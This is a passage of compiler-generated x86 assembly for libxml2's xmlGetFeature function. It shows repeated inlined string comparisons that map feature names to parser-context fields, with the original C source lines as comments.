$LN96@xmlGetFeat $LN94@xmlGetFeat: sbb eax, eax or eax, 1 $LN96@xmlGetFeat: test eax, eax jne SHORT $LN8@xmlGetFeat ; 182 : *((int *) result) = ctxt->disableSAX; mov eax, DWORD PTR [edi+212] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN8@xmlGetFeat: ; 183 : } else if (!strcmp(name, "fetch external entities")) { mov ecx, OFFSET ??_C@_0BI@NFNCEEMJ@fetch?5external?5entities@ mov eax, esi $LL97@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN98@xmlGetFeat test dl, dl je SHORT $LN99@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN98@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL97@xmlGetFeat $LN99@xmlGetFeat: xor eax, eax jmp SHORT $LN100@xmlGetFeat $LN98@xmlGetFeat: sbb eax, eax or eax, 1 $LN100@xmlGetFeat: test eax, eax jne SHORT $LN10@xmlGetFeat ; 184 : *((int *) result) = ctxt->loadsubset; mov eax, DWORD PTR [edi+276] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN10@xmlGetFeat: ; 185 : } else if (!strcmp(name, "substitute entities")) { mov ecx, OFFSET ??_C@_0BE@MFJOLEGC@substitute?5entities@ mov eax, esi $LL101@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN102@xmlGetFeat test dl, dl je SHORT $LN103@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN102@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL101@xmlGetFeat $LN103@xmlGetFeat: xor eax, eax jmp SHORT $LN104@xmlGetFeat $LN102@xmlGetFeat: sbb eax, eax or eax, 1 $LN104@xmlGetFeat: test eax, eax jne SHORT $LN12@xmlGetFeat ; 186 : *((int *) result) = ctxt->replaceEntities; mov eax, DWORD PTR [edi+16] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN12@xmlGetFeat: ; 187 : } else if (!strcmp(name, "gather line info")) { mov ecx, OFFSET ??_C@_0BB@FNGHLMDK@gather?5line?5info@ mov eax, esi npad 3 $LL105@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN106@xmlGetFeat test dl, dl je SHORT $LN107@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN106@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL105@xmlGetFeat $LN107@xmlGetFeat: xor eax, eax jmp SHORT $LN108@xmlGetFeat $LN106@xmlGetFeat: sbb eax, eax or eax, 1 $LN108@xmlGetFeat: test eax, eax jne SHORT $LN14@xmlGetFeat ; 188 : *((int *) result) = ctxt->record_info; mov eax, DWORD PTR [edi+68] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN14@xmlGetFeat: ; 189 : } else if (!strcmp(name, "user data")) { mov ecx, OFFSET ??_C@_09OBFNJHCP@user?5data@ mov eax, esi npad 4 $LL109@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN110@xmlGetFeat test dl, dl je SHORT $LN111@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN110@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL109@xmlGetFeat $LN111@xmlGetFeat: xor eax, eax jmp SHORT $LN112@xmlGetFeat $LN110@xmlGetFeat: sbb eax, eax or eax, 1 $LN112@xmlGetFeat: test eax, eax jne SHORT $LN16@xmlGetFeat ; 190 : *((void **) result) = ctxt->userData; mov eax, DWORD PTR [edi+4] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN16@xmlGetFeat: ; 191 : } else if (!strcmp(name, "is html")) { mov ecx, OFFSET ??_C@_07ELANCDBJ@is?5html@ mov eax, esi npad 4 $LL113@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN114@xmlGetFeat test dl, dl je SHORT $LN115@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN114@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL113@xmlGetFeat $LN115@xmlGetFeat: xor eax, eax jmp SHORT $LN116@xmlGetFeat $LN114@xmlGetFeat: sbb eax, eax or eax, 1 $LN116@xmlGetFeat: test eax, eax jne SHORT $LN18@xmlGetFeat ; 192 : *((int *) result) = ctxt->html; mov eax, DWORD PTR [edi+32] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN18@xmlGetFeat: ; 193 : } else if (!strcmp(name, "is standalone")) { mov ecx, OFFSET ??_C@_0O@NMMOLLEF@is?5standalone@ mov eax, esi npad 4 $LL117@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN118@xmlGetFeat test dl, dl je SHORT $LN119@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN118@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL117@xmlGetFeat $LN119@xmlGetFeat: xor eax, eax jmp SHORT $LN120@xmlGetFeat $LN118@xmlGetFeat: sbb eax, eax or eax, 1 $LN120@xmlGetFeat: test eax, eax jne SHORT $LN20@xmlGetFeat ; 194 : *((int *) result) = ctxt->standalone; mov eax, DWORD PTR [edi+28] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN20@xmlGetFeat: ; 195 : } else if (!strcmp(name, "document")) { mov ecx, OFFSET ??_C@_08JEEDKNPB@document@ mov eax, esi npad 4 $LL121@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN122@xmlGetFeat test dl, dl je SHORT $LN123@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN122@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL121@xmlGetFeat $LN123@xmlGetFeat: xor eax, eax jmp SHORT $LN124@xmlGetFeat $LN122@xmlGetFeat: sbb eax, eax or eax, 1 $LN124@xmlGetFeat: test eax, eax jne SHORT $LN22@xmlGetFeat ; 196 : *((xmlDocPtr *) result) = ctxt->myDoc; mov eax, DWORD PTR [edi+8] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN22@xmlGetFeat: ; 197 : } else if (!strcmp(name, "is well formed")) { mov ecx, OFFSET ??_C@_0P@NEKMCKKP@is?5well?5formed@ mov eax, esi npad 4 $LL125@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN126@xmlGetFeat test dl, dl je SHORT $LN127@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN126@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL125@xmlGetFeat $LN127@xmlGetFeat: xor eax, eax jmp SHORT $LN128@xmlGetFeat $LN126@xmlGetFeat: sbb eax, eax or eax, 1 $LN128@xmlGetFeat: test eax, eax jne SHORT $LN24@xmlGetFeat ; 198 : *((int *) result) = ctxt->wellFormed; mov eax, DWORD PTR [edi+12] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN24@xmlGetFeat: ; 199 : } else if (!strcmp(name, "is valid")) { mov ecx, OFFSET ??_C@_08EKBKNFNH@is?5valid@ mov eax, esi npad 4 $LL129@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN130@xmlGetFeat test dl, dl je SHORT $LN131@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN130@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL129@xmlGetFeat $LN131@xmlGetFeat: xor eax, eax jmp SHORT $LN132@xmlGetFeat $LN130@xmlGetFeat: sbb eax, eax or eax, 1 $LN132@xmlGetFeat: test eax, eax jne SHORT $LN26@xmlGetFeat ; 200 : *((int *) result) = ctxt->valid; mov eax, DWORD PTR [edi+100] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN26@xmlGetFeat: ; 201 : } else if (!strcmp(name, "SAX block")) { mov ecx, OFFSET ??_C@_09HIOCHIDE@SAX?5block@ mov eax, esi npad 4 $LL133@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN134@xmlGetFeat test dl, dl je SHORT $LN135@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN134@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL133@xmlGetFeat $LN135@xmlGetFeat: xor eax, eax jmp SHORT $LN136@xmlGetFeat $LN134@xmlGetFeat: sbb eax, eax or eax, 1 $LN136@xmlGetFeat: test eax, eax jne SHORT $LN28@xmlGetFeat ; 202 : *((xmlSAXHandlerPtr *) result) = ctxt->sax; mov eax, DWORD PTR [edi] pop edi ; 264 : } else { ; 265 : return (-1); ; 266 : } ; 267 : return (0); mov DWORD PTR [ebx], eax xor eax, eax ; 268 : } pop esi pop ebx pop ebp ret 0 $LN28@xmlGetFeat: ; 203 : } else if (!strcmp(name, "SAX function internalSubset")) { mov ecx, OFFSET ??_C@_0BM@OCAFNLBC@SAX?5function?5internalSubset@ mov eax, esi npad 5 $LL137@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN138@xmlGetFeat test dl, dl je SHORT $LN139@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN138@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL137@xmlGetFeat $LN139@xmlGetFeat: xor eax, eax jmp SHORT $LN140@xmlGetFeat $LN138@xmlGetFeat: sbb eax, eax or eax, 1 $LN140@xmlGetFeat: test eax, eax jne SHORT $LN30@xmlGetFeat ; 204 : *((internalSubsetSAXFunc *) result) = ctxt->sax->internalSubset; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN30@xmlGetFeat: ; 205 : } else if (!strcmp(name, "SAX function isStandalone")) { mov ecx, OFFSET ??_C@_0BK@KGOMEKBB@SAX?5function?5isStandalone@ mov eax, esi npad 3 $LL141@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN142@xmlGetFeat test dl, dl je SHORT $LN143@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN142@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL141@xmlGetFeat $LN143@xmlGetFeat: xor eax, eax jmp SHORT $LN144@xmlGetFeat $LN142@xmlGetFeat: sbb eax, eax or eax, 1 $LN144@xmlGetFeat: test eax, eax jne SHORT $LN32@xmlGetFeat ; 206 : *((isStandaloneSAXFunc *) result) = ctxt->sax->isStandalone; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+4] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN32@xmlGetFeat: ; 207 : } else if (!strcmp(name, "SAX function hasInternalSubset")) { mov ecx, OFFSET ??_C@_0BP@PCBCHDK@SAX?5function?5hasInternalSubset@ mov eax, esi npad 2 $LL145@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN146@xmlGetFeat test dl, dl je SHORT $LN147@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN146@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL145@xmlGetFeat $LN147@xmlGetFeat: xor eax, eax jmp SHORT $LN148@xmlGetFeat $LN146@xmlGetFeat: sbb eax, eax or eax, 1 $LN148@xmlGetFeat: test eax, eax jne SHORT $LN34@xmlGetFeat ; 208 : *((hasInternalSubsetSAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+8] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN34@xmlGetFeat: ; 209 : ctxt->sax->hasInternalSubset; ; 210 : } else if (!strcmp(name, "SAX function hasExternalSubset")) { mov ecx, OFFSET ??_C@_0BP@NEKEPJAE@SAX?5function?5hasExternalSubset@ mov eax, esi npad 2 $LL149@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN150@xmlGetFeat test dl, dl je SHORT $LN151@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN150@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL149@xmlGetFeat $LN151@xmlGetFeat: xor eax, eax jmp SHORT $LN152@xmlGetFeat $LN150@xmlGetFeat: sbb eax, eax or eax, 1 $LN152@xmlGetFeat: test eax, eax jne SHORT $LN36@xmlGetFeat ; 211 : *((hasExternalSubsetSAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+12] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN36@xmlGetFeat: ; 212 : ctxt->sax->hasExternalSubset; ; 213 : } else if (!strcmp(name, "SAX function resolveEntity")) { mov ecx, OFFSET ??_C@_0BL@PDBAGIFI@SAX?5function?5resolveEntity@ mov eax, esi npad 2 $LL153@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN154@xmlGetFeat test dl, dl je SHORT $LN155@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN154@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL153@xmlGetFeat $LN155@xmlGetFeat: xor eax, eax jmp SHORT $LN156@xmlGetFeat $LN154@xmlGetFeat: sbb eax, eax or eax, 1 $LN156@xmlGetFeat: test eax, eax jne SHORT $LN38@xmlGetFeat ; 214 : *((resolveEntitySAXFunc *) result) = ctxt->sax->resolveEntity; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+16] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN38@xmlGetFeat: ; 215 : } else if (!strcmp(name, "SAX function getEntity")) { mov ecx, OFFSET ??_C@_0BH@FFFDLCDF@SAX?5function?5getEntity@ mov eax, esi npad 2 $LL157@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN158@xmlGetFeat test dl, dl je SHORT $LN159@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN158@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL157@xmlGetFeat $LN159@xmlGetFeat: xor eax, eax jmp SHORT $LN160@xmlGetFeat $LN158@xmlGetFeat: sbb eax, eax or eax, 1 $LN160@xmlGetFeat: test eax, eax jne SHORT $LN40@xmlGetFeat ; 216 : *((getEntitySAXFunc *) result) = ctxt->sax->getEntity; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+20] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN40@xmlGetFeat: ; 217 : } else if (!strcmp(name, "SAX function entityDecl")) { mov ecx, OFFSET ??_C@_0BI@COIOKLKC@SAX?5function?5entityDecl@ mov eax, esi npad 2 $LL161@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN162@xmlGetFeat test dl, dl je SHORT $LN163@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN162@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL161@xmlGetFeat $LN163@xmlGetFeat: xor eax, eax jmp SHORT $LN164@xmlGetFeat $LN162@xmlGetFeat: sbb eax, eax or eax, 1 $LN164@xmlGetFeat: test eax, eax jne SHORT $LN42@xmlGetFeat ; 218 : *((entityDeclSAXFunc *) result) = ctxt->sax->entityDecl; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+24] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN42@xmlGetFeat: ; 219 : } else if (!strcmp(name, "SAX function notationDecl")) { mov ecx, OFFSET ??_C@_0BK@OEHIHIHP@SAX?5function?5notationDecl@ mov eax, esi npad 2 $LL165@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN166@xmlGetFeat test dl, dl je SHORT $LN167@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN166@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL165@xmlGetFeat $LN167@xmlGetFeat: xor eax, eax jmp SHORT $LN168@xmlGetFeat $LN166@xmlGetFeat: sbb eax, eax or eax, 1 $LN168@xmlGetFeat: test eax, eax jne SHORT $LN44@xmlGetFeat ; 220 : *((notationDeclSAXFunc *) result) = ctxt->sax->notationDecl; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+28] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN44@xmlGetFeat: ; 221 : } else if (!strcmp(name, "SAX function attributeDecl")) { mov ecx, OFFSET ??_C@_0BL@FLOOINBL@SAX?5function?5attributeDecl@ mov eax, esi npad 2 $LL169@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN170@xmlGetFeat test dl, dl je SHORT $LN171@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN170@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL169@xmlGetFeat $LN171@xmlGetFeat: xor eax, eax jmp SHORT $LN172@xmlGetFeat $LN170@xmlGetFeat: sbb eax, eax or eax, 1 $LN172@xmlGetFeat: test eax, eax jne SHORT $LN46@xmlGetFeat ; 222 : *((attributeDeclSAXFunc *) result) = ctxt->sax->attributeDecl; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+32] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN46@xmlGetFeat: ; 223 : } else if (!strcmp(name, "SAX function elementDecl")) { mov ecx, OFFSET ??_C@_0BJ@PINGOANC@SAX?5function?5elementDecl@ mov eax, esi npad 2 $LL173@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN174@xmlGetFeat test dl, dl je SHORT $LN175@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN174@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL173@xmlGetFeat $LN175@xmlGetFeat: xor eax, eax jmp SHORT $LN176@xmlGetFeat $LN174@xmlGetFeat: sbb eax, eax or eax, 1 $LN176@xmlGetFeat: test eax, eax jne SHORT $LN48@xmlGetFeat ; 224 : *((elementDeclSAXFunc *) result) = ctxt->sax->elementDecl; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+36] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN48@xmlGetFeat: ; 225 : } else if (!strcmp(name, "SAX function unparsedEntityDecl")) { mov ecx, OFFSET ??_C@_0CA@PPDJGMOP@SAX?5function?5unparsedEntityDecl@ mov eax, esi npad 2 $LL177@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN178@xmlGetFeat test dl, dl je SHORT $LN179@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN178@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL177@xmlGetFeat $LN179@xmlGetFeat: xor eax, eax jmp SHORT $LN180@xmlGetFeat $LN178@xmlGetFeat: sbb eax, eax or eax, 1 $LN180@xmlGetFeat: test eax, eax jne SHORT $LN50@xmlGetFeat ; 226 : *((unparsedEntityDeclSAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+40] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN50@xmlGetFeat: ; 227 : ctxt->sax->unparsedEntityDecl; ; 228 : } else if (!strcmp(name, "SAX function setDocumentLocator")) { mov ecx, OFFSET ??_C@_0CA@LKGNIEEL@SAX?5function?5setDocumentLocator@ mov eax, esi npad 2 $LL181@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN182@xmlGetFeat test dl, dl je SHORT $LN183@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN182@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL181@xmlGetFeat $LN183@xmlGetFeat: xor eax, eax jmp SHORT $LN184@xmlGetFeat $LN182@xmlGetFeat: sbb eax, eax or eax, 1 $LN184@xmlGetFeat: test eax, eax jne SHORT $LN52@xmlGetFeat ; 229 : *((setDocumentLocatorSAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+44] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN52@xmlGetFeat: ; 230 : ctxt->sax->setDocumentLocator; ; 231 : } else if (!strcmp(name, "SAX function startDocument")) { mov ecx, OFFSET ??_C@_0BL@GBPENFAA@SAX?5function?5startDocument@ mov eax, esi npad 2 $LL185@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN186@xmlGetFeat test dl, dl je SHORT $LN187@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN186@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL185@xmlGetFeat $LN187@xmlGetFeat: xor eax, eax jmp SHORT $LN188@xmlGetFeat $LN186@xmlGetFeat: sbb eax, eax or eax, 1 $LN188@xmlGetFeat: test eax, eax jne SHORT $LN54@xmlGetFeat ; 232 : *((startDocumentSAXFunc *) result) = ctxt->sax->startDocument; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+48] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN54@xmlGetFeat: ; 233 : } else if (!strcmp(name, "SAX function endDocument")) { mov ecx, OFFSET ??_C@_0BJ@BMHDOOAH@SAX?5function?5endDocument@ mov eax, esi npad 2 $LL189@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN190@xmlGetFeat test dl, dl je SHORT $LN191@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN190@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL189@xmlGetFeat $LN191@xmlGetFeat: xor eax, eax jmp SHORT $LN192@xmlGetFeat $LN190@xmlGetFeat: sbb eax, eax or eax, 1 $LN192@xmlGetFeat: test eax, eax jne SHORT $LN56@xmlGetFeat ; 234 : *((endDocumentSAXFunc *) result) = ctxt->sax->endDocument; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+52] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN56@xmlGetFeat: ; 235 : } else if (!strcmp(name, "SAX function startElement")) { mov ecx, OFFSET ??_C@_0BK@MKAFHOHD@SAX?5function?5startElement@ mov eax, esi npad 2 $LL193@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN194@xmlGetFeat test dl, dl je SHORT $LN195@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN194@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL193@xmlGetFeat $LN195@xmlGetFeat: xor eax, eax jmp SHORT $LN196@xmlGetFeat $LN194@xmlGetFeat: sbb eax, eax or eax, 1 $LN196@xmlGetFeat: test eax, eax jne SHORT $LN58@xmlGetFeat ; 236 : *((startElementSAXFunc *) result) = ctxt->sax->startElement; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+56] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN58@xmlGetFeat: ; 237 : } else if (!strcmp(name, "SAX function endElement")) { mov ecx, OFFSET ??_C@_0BI@EKKAMIPM@SAX?5function?5endElement@ mov eax, esi npad 2 $LL197@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN198@xmlGetFeat test dl, dl je SHORT $LN199@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN198@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL197@xmlGetFeat $LN199@xmlGetFeat: xor eax, eax jmp SHORT $LN200@xmlGetFeat $LN198@xmlGetFeat: sbb eax, eax or eax, 1 $LN200@xmlGetFeat: test eax, eax jne SHORT $LN60@xmlGetFeat ; 238 : *((endElementSAXFunc *) result) = ctxt->sax->endElement; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+60] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN60@xmlGetFeat: ; 239 : } else if (!strcmp(name, "SAX function reference")) { mov ecx, OFFSET ??_C@_0BH@COKKFLJA@SAX?5function?5reference@ mov eax, esi npad 2 $LL201@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN202@xmlGetFeat test dl, dl je SHORT $LN203@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN202@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL201@xmlGetFeat $LN203@xmlGetFeat: xor eax, eax jmp SHORT $LN204@xmlGetFeat $LN202@xmlGetFeat: sbb eax, eax or eax, 1 $LN204@xmlGetFeat: test eax, eax jne SHORT $LN62@xmlGetFeat ; 240 : *((referenceSAXFunc *) result) = ctxt->sax->reference; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+64] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN62@xmlGetFeat: ; 241 : } else if (!strcmp(name, "SAX function characters")) { mov ecx, OFFSET ??_C@_0BI@OKJHNGCO@SAX?5function?5characters@ mov eax, esi npad 2 $LL205@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN206@xmlGetFeat test dl, dl je SHORT $LN207@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN206@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL205@xmlGetFeat $LN207@xmlGetFeat: xor eax, eax jmp SHORT $LN208@xmlGetFeat $LN206@xmlGetFeat: sbb eax, eax or eax, 1 $LN208@xmlGetFeat: test eax, eax jne SHORT $LN64@xmlGetFeat ; 242 : *((charactersSAXFunc *) result) = ctxt->sax->characters; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+68] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN64@xmlGetFeat: ; 243 : } else if (!strcmp(name, "SAX function ignorableWhitespace")) { mov ecx, OFFSET ??_C@_0CB@KGCDCKOM@SAX?5function?5ignorableWhitespac@ mov eax, esi npad 2 $LL209@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, 